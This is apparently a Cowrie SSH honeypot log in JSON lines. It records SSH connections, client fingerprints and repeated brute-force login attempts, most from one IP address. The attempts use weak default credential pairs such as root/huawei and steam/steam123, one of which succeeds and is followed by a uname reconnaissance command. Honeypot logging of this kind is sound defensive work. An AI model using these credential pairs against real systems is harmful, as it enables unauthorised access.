{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:01.859004Z","src_ip":"159.203.92.129","session":"5a5034123b91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LiLin","password":"LiLin","message":"login attempt [LiLin/LiLin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:01.874842Z","src_ip":"159.203.92.129","session":"5a5034123b91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:02.890765Z","src_ip":"159.203.92.129","session":"5a5034123b91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:02.928598Z","src_ip":"176.65.139.95","session":"90e1404d7d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60638,"dst_ip":"159.203.135.109","dst_port":22,"session":"04cf9283f717","protocol":"ssh","message":"New connection: 176.65.139.95:60638 (159.203.135.109:22) [session: 04cf9283f717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:07.373714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:07.379433Z","src_ip":"176.65.139.95","session":"04cf9283f717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:07.462492Z","src_ip":"176.65.139.95","session":"04cf9283f717","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:07.736684Z","src_ip":"176.65.139.95","session":"04cf9283f717","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:07.972889Z","src_ip":"176.65.139.95","session":"04cf9283f717","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:07.976720Z","src_ip":"176.65.139.95","session":"04cf9283f717","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:08.064311Z","src_ip":"176.65.139.95","session":"04cf9283f717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:08.070985Z","src_ip":"176.65.139.95","session":"04cf9283f717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42792,"dst_ip":"159.203.135.109","dst_port":22,"session":"acd31729cd1d","protocol":"ssh","message":"New connection: 176.65.139.95:42792 (159.203.135.109:22) [session: acd31729cd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:13.296439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:13.301663Z","src_ip":"176.65.139.95","session":"acd31729cd1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:13.384037Z","src_ip":"176.65.139.95","session":"acd31729cd1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:13.648395Z","src_ip":"176.65.139.95","session":"acd31729cd1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:14.770735Z","src_ip":"176.65.139.95","session":"acd31729cd1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51300,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c41cbe5d830","protocol":"ssh","message":"New connection: 176.65.139.95:51300 (159.203.135.109:22) [session: 5c41cbe5d830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:19.040256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:19.048289Z","src_ip":"176.65.139.95","session":"5c41cbe5d830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:19.140350Z","src_ip":"176.65.139.95","session":"5c41cbe5d830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:19.479668Z","src_ip":"176.65.139.95","session":"5c41cbe5d830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:20.574429Z","src_ip":"176.65.139.95","session":"5c41cbe5d830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"159.203.135.109","dst_port":22,"session":"081b63320b6e","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (159.203.135.109:22) [session: 081b63320b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:23.348137Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:23.444019Z","src_ip":"64.89.160.135","session":"081b63320b6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51308,"dst_ip":"159.203.135.109","dst_port":22,"session":"16fe317f1569","protocol":"ssh","message":"New connection: 176.65.139.95:51308 (159.203.135.109:22) [session: 16fe317f1569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:24.928987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:24.943469Z","src_ip":"176.65.139.95","session":"16fe317f1569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:25.022892Z","src_ip":"176.65.139.95","session":"16fe317f1569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:25.365781Z","src_ip":"176.65.139.95","session":"16fe317f1569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:26.451099Z","src_ip":"176.65.139.95","session":"16fe317f1569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"68.7","message":"Connection lost after 68.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:27.902041Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51464,"dst_ip":"159.203.135.109","dst_port":22,"session":"acf870b793f8","protocol":"ssh","message":"New connection: 176.65.139.95:51464 (159.203.135.109:22) [session: acf870b793f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:30.665569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:30.670578Z","src_ip":"176.65.139.95","session":"acf870b793f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:30.757964Z","src_ip":"176.65.139.95","session":"acf870b793f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:31.078918Z","src_ip":"176.65.139.95","session":"acf870b793f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:32.165238Z","src_ip":"176.65.139.95","session":"acf870b793f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51478,"dst_ip":"159.203.135.109","dst_port":22,"session":"1baf159295b2","protocol":"ssh","message":"New connection: 176.65.139.95:51478 (159.203.135.109:22) [session: 1baf159295b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:36.566871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:36.743722Z","src_ip":"176.65.139.95","session":"1baf159295b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:36.747505Z","src_ip":"176.65.139.95","session":"1baf159295b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:37.296315Z","src_ip":"176.65.139.95","session":"1baf159295b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:38.393173Z","src_ip":"176.65.139.95","session":"1baf159295b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34538,"dst_ip":"159.203.135.109","dst_port":22,"session":"736971e27c57","protocol":"ssh","message":"New connection: 176.65.139.95:34538 (159.203.135.109:22) [session: 736971e27c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:42.662037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:42.666227Z","src_ip":"176.65.139.95","session":"736971e27c57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:42.749546Z","src_ip":"176.65.139.95","session":"736971e27c57","protocol":"ssh"}
